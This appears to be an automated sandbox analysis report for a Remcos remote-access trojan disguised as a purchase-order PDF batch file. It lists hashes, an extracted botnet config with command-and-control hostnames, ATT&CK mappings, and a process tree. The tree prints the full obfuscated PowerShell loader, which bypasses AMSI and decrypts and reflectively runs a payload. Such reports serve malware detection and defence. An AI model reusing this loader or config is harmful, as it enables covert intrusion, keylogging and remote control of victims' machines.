remcos | 56faf7910e496baeb5a7d4d39c4c506657fd594600fc4224bcbe474ea2ab5209

Analysis

max time kernel
149s
max time network
143s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
14/07/2025, 14:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO-MASSLimited_14072025_155442-pdf.bat
Size 603KB
Sample250714-rkc8cssrt5
SHA256 56faf7910e496baeb5a7d4d39c4c506657fd594600fc4224bcbe474ea2ab5209
MD5 53307f7b906a1b74c1694ee50fa36c29
SHA1 a0bd5f6679e6d8866e3aee38ace2645a07ef3e94
SHA512 9da8d74007b88a0015c062999e7d3a2838427e2bb80edd009cbc7239f163a567a582ec26ca556142b5cf1456fd22c95174ea9ac3bf10bdcb6b52db285f46e4c9
SSDEEP 12288:9CEtw3ItZofyn2sOOMQGcmhhRjqNV71AzwL32zfCm1Ls6Nhqllc:9N23EoU2LRjq/3eLs6/qla
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos megacash_1 defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

MegaCash_1

eleme11.loseyourip.com:2404
eleme11.ddns.net:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XX618S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	5144	powershell.exe
3	5144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5528	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/5144-53-0x0000000005170000-0x00000000051C6000-memory.dmp	net_reactor

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5144	powershell.exe
5144	powershell.exe
5528	powershell.exe
5528	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5144	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4576 wrote to memory of 240	4576	cmd.exe	79
PID 4576 wrote to memory of 240	4576	cmd.exe	79
PID 240 wrote to memory of 3588	240	cmd.exe	81
PID 240 wrote to memory of 3588	240	cmd.exe	81
PID 240 wrote to memory of 5144	240	cmd.exe	82
PID 240 wrote to memory of 5144	240	cmd.exe	82
PID 240 wrote to memory of 5144	240	cmd.exe	82
PID 5144 wrote to memory of 3636	5144	powershell.exe	83
PID 5144 wrote to memory of 3636	5144	powershell.exe	83
PID 5144 wrote to memory of 3636	5144	powershell.exe	83
PID 3636 wrote to memory of 5152	3636	csc.exe	84
PID 3636 wrote to memory of 5152	3636	csc.exe	84
PID 3636 wrote to memory of 5152	3636	csc.exe	84
PID 5144 wrote to memory of 5528	5144	powershell.exe	85
PID 5144 wrote to memory of 5528	5144	powershell.exe	85
PID 5144 wrote to memory of 5528	5144	powershell.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\PO-MASSLimited_14072025_155442-pdf.bat';$batPath_var = [Console]::Title;$tempFile = [System.IO.Path]::GetTempFileName();[System.IO.File]::Copy($batPath_var, $tempFile, $true);$fileContent = [System.IO.File]::ReadAllLines($tempFile);Remove-Item -Path $tempFile -Force;$amsiScript = '';$amsiFound = $false;foreach ($linha in $fileContent) {if ($linha.StartsWith('::::')) {try {$amsiScript = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($linha.Substring(4)));$amsiFound = $true;break;} catch { [System.Environment]::Exit(1);}}};if (-not $amsiFound) { [System.Environment]::Exit(1); };if ([string]::IsNullOrEmpty($amsiScript)) { [System.Environment]::Exit(1); };try {iex $amsiScript;$amsiSuccess = $true;} catch {[System.Environment]::Exit(1);};if (-not $amsiSuccess) { [System.Environment]::Exit(1); };Start-Sleep -Seconds 2;$base64 = 'cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuYPKLC3Rpb24gWlJNRlJJQU5HWUhLT0VFQVVPSlJVRlhIVigkRVhDTklUVPKLCEZKWEdSQVRJQVpCUkVPTU1USil7JEdQU1JIWVhBTkpTRVhFVEdIWPKLCUVKUU5XWFA9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQPKLCWVzXTo6Q3JlYXRlKCk7JEdQU1JIWVhBTkpTRVhFVEdIWUVKUU5XWPKLCFAuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaPKLCXBoZXJNb2RlXTo6Q0JDOyRHUFNSSFlYQU5KU0VYRVRHSFlFSlFOVPKLC1hQLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaPKLCHkuUGFkZGluZ01vZGVdOjpQS0NTNzskR1BTUkhZWEFOSlNFWEVURPKLC0hZRUpRTldYUC5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhcPKLC2U2NFN0cmluZygnWTloUGo3eGhmeUJXY1BCdzZMTG9wYVBFMnkrTPKLCEJNQmtaVG0vT0dMRnAvUT0nKTskR1BTUkhZWEFOSlNFWEVUR0hZRPKLCUpRTldYUC5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0UPKLC3RyaW5nKCdsY1hmSVZxTmxnNU5OZCswaGx1WG9RPT0nKTskT1RORPKLCUxTTElEQ0RCTkJZSVJOS1BXQldYWD0kR1BTUkhZWEFOSlNFWEVURPKLC0hZRUpRTldYUC5DcmVhdGVEZWNyeXB0b3IoKTskR05IS1RTVFVDUPKLC0ZLVkNRSFZVQ1BFVFhGQT0kT1RORUxTTElEQ0RCTkJZSVJOS1BXQPKLCldYWC5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRFWENOSVRURkpYR1JBVPKLCElBWkJSRU9NTVRKLDAsJEVYQ05JVFRGSlhHUkFUSUFaQlJFT01NVPKLCEouTGVuZ3RoKTskT1RORUxTTElEQ0RCTkJZSVJOS1BXQldYWC5EaPKLCXNwb3NlKCk7JEdQU1JIWVhBTkpTRVhFVEdIWUVKUU5XWFAuRGlzcPKLCG9zZSgpOyRHTkhLVFNUVUNTRktWQ1FIVlVDUEVUWEZBO31mdW5jdPKLCGlvbiBUQ0pNTlFITE1OQU1JQlBJT1BGUE9VRUlaKCRFWENOSVRURPKLCkpYR1JBVElBWkJSRU9NTVRKKXskWUFNSVRNV1BHRUVEWUpKS0hMSPKLCVRZV0tUSD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYPKLCW0oLCRFWENOSVRURkpYR1JBVElBWkJSRU9NTVRKKTskQUhVSVROUPKLCUNLVlNITEpHSVVPWU1FWEtURj1OZXctT2JqZWN0IFN5c3RlbS5JTPKLCy5NZW1vcnlTdHJlYW07JFhJT01CQlBUQVNGQ0hOUU9CTk9SRFZDQPKLC0s9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcPKLCFN0cmVhbSgkWUFNSVRNV1BHRUVEWUpKS0hMSVRZV0tUSCxbSU8uQPKLC29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6RGVjb21wcmVzcPKLCyk7JFhJT01CQlBUQVNGQ0hOUU9CTk9SRFZDQ0suQ29weVRvKCRBSPKLCFVJVE5RQ0tWU0hMSkdJVU9ZTUVYS1RGKTskWElPTUJCUFRBU0ZDSPKLCE5RT0JOT1JEVkNDSy5EaXNwb3NlKCk7JFlBTUlUTVdQR0VFRFlKSPKLCktITElUWVdLVEguRGlzcG9zZSgpOyRBSFVJVE5RQ0tWU0hMSkdJVPKLCU9ZTUVYS1RGLkRpc3Bvc2UoKTskQUhVSVROUUNLVlNITEpHSVVPWPKLCU1FWEtURi5Ub0FycmF5KCk7fSRPVlJGSE9WVUJIWFRGQ1RRTUdMVPKLClVOVk5OPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29ucPKLC29sZV06OlRpdGxlKTskREhNR0REV0JDV0VDUElVQ09MUUFHTkJIWPKLCT1UQ0pNTlFITE1OQU1JQlBJT1BGUE9VRUlaIChaUk1GUklBTkdZSPKLCEtPRUVBVU9KUlVGWEhWIChbQ29udmVydF06OkZyb21CYXNlNjRTdPKLCHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QPKLCXQoJE9WUkZIT1ZVQkhYVEZDVFFNR0xWVU5WTk4sIDYpLlN1YnN0cPKLCmluZygyKSkpKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOPKLCjpMb2FkKFtieXRlW11dJERITUdERFdCQ1dFQ1BJVUNPTFFBR05CSPKLCFkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTs='.Replace('PKLC','');$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($base64));iex $decoded "
    3⤵
    PID:3588
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5144
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5ym4nycx\5ym4nycx.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3636
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CB4.tmp" "c:\Users\Admin\AppData\Local\Temp\5ym4nycx\CSC6AD932F33B9C4794A7B9C2EEAC4BEB7.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5152
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 829e1ee115f6ff7ea480a19180b20c408faa954c0fc76ce2553ca2ac7496a675
MD5 f561097c25642b487331a2640692a3f2
SHA1 b1a3d1932d101427d54eaabc70c814eaa65c305c
SHA512 87d9936ec7110772f9610c9beb5f221ecf78ef6d7a7841ce3609fecd117289c85d408be87a8617a299356a8a4479291511257d096134fa15c1756db61df563b0
MD5 SHA1 SHA512

Submit Download

5ym4nycx.dll

Path C:\Users\Admin\AppData\Local\Temp\5ym4nycx\5ym4nycx.dll
Size 3KB
SHA256 dfaaea618b3b6f3e24c911ea2295cfe6d7ba2b20801e35f19b18c71533887616
MD5 f3bd2f33a1452f8b9bc9bea70d49e1ae
SHA1 5f5094247c8ea65f1370bfe5671ad15f776207a5
SHA512 786a570f409b5c70da7cf29084490eb36afc095e42af5dc5573f2ea95394b2ca42475227f8b989ea8c9b00e5e1853bc589e7f56a341d2aa7c259dab9f33a295b
MD5 SHA1 SHA512

Submit Download

RES6CB4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6CB4.tmp
Size 1KB
SHA256 a7f5fecc4288b72476fdff5a2b9b46fdfe19a60e10958d6d5ce506e102a3e5c5
MD5 7cf896be42d5d99d90a958b58e0232e0
SHA1 a1d0deda3cd1e473f73b8e7806e33106f43a7200
SHA512 ea6fb39398443ea956d442a38dc08ab1c2bb5606904008fe463dca878f1529701662accc6cc6b3de3e627955fcb025215d5826ea36175c30e20f3fac624d74f1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_hrwv0xcn.f1k.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hrwv0xcn.f1k.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

5ym4nycx.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5ym4nycx\5ym4nycx.0.cs
Size 302B
SHA256 7e130d7e306e3d5634ab9210080102aaf4e4c2f7c3aefcd9810d0aecbf29500a
MD5 2b1ef244f8c322adbb1e75bd69739a9e
SHA1 efd5b18b41e8b72a13b1f47c354544e2b9af1510
SHA512 9b7abac09c22b9efae46ef5f5f94f9989733f9ba0cad888125eb0ebc29368221537cdcb37d165b6adc4c39750b86bf2b907898dac70326c8c5ef6c0d950cb213
MD5 SHA1 SHA512

Submit Download

5ym4nycx.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5ym4nycx\5ym4nycx.cmdline
Size 369B
SHA256 a144e494db5ffbf084755c0f82cabd0aaade900547658696de7de717d341f8bf
MD5 d2793d54b4cca74d90a373b2f5277f71
SHA1 4ab44fcbc9b16d12007b51498af3cbf8282f3151
SHA512 df36c6c3c51eab013340e21f68a6779ea8a4751513e76220500b217313ce40d4309395e63d295f47901a2e773df40b88c9f4d55f65e442c75eb4849c69ce50c0
MD5 SHA1 SHA512

Submit Download

CSC6AD932F33B9C4794A7B9C2EEAC4BEB7.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5ym4nycx\CSC6AD932F33B9C4794A7B9C2EEAC4BEB7.TMP
Size 652B
SHA256 601f77fb26e81c66a3dd22fea957949cac453a813f09be8319d522b204b85aff
MD5 2194ced47e30bb91af27c35219753dce
SHA1 20efc70eacc2eb97c2c77c749fcf4f498555dbda
SHA512 b88d919125ab780f739d70515176c5608400989f9d8f25949bf4de3897a53619e18de0fb0683826db73666b87d0eaf8900243ee8d2e28fe081dbf5eb911346d2
MD5 SHA1 SHA512

Submit Download

memory/5144-23-0x0000000007DA0000-0x0000000008346000-memory.dmp

Download

memory/5144-5-0x0000000005CB0000-0x0000000005D16000-memory.dmp

Download

memory/5144-16-0x0000000006380000-0x00000000063CC000-memory.dmp

Download

memory/5144-17-0x0000000006770000-0x00000000067B6000-memory.dmp

Download

memory/5144-20-0x0000000007750000-0x00000000077E6000-memory.dmp

Download

memory/5144-21-0x00000000076D0000-0x00000000076EA000-memory.dmp

Download

memory/5144-22-0x0000000007720000-0x0000000007742000-memory.dmp

Download

memory/5144-0-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/5144-26-0x00000000089D0000-0x000000000904A000-memory.dmp

Download

memory/5144-27-0x0000000007970000-0x0000000007A02000-memory.dmp

Download

memory/5144-14-0x0000000005D20000-0x0000000006077000-memory.dmp

Download

memory/5144-15-0x0000000006330000-0x000000000634E000-memory.dmp

Download

memory/5144-4-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Download

memory/5144-3-0x0000000005470000-0x0000000005492000-memory.dmp

Download

memory/5144-40-0x00000000078D0000-0x00000000078D8000-memory.dmp

Download

memory/5144-2-0x0000000005510000-0x0000000005B3A000-memory.dmp

Download

memory/5144-52-0x0000000007B10000-0x0000000007B80000-memory.dmp

Download

memory/5144-53-0x0000000005170000-0x00000000051C6000-memory.dmp

Download

memory/5144-54-0x0000000000400000-0x0000000000481000-memory.dmp

Download

memory/5144-68-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/5144-69-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/5144-1-0x0000000004E90000-0x0000000004EC6000-memory.dmp

Download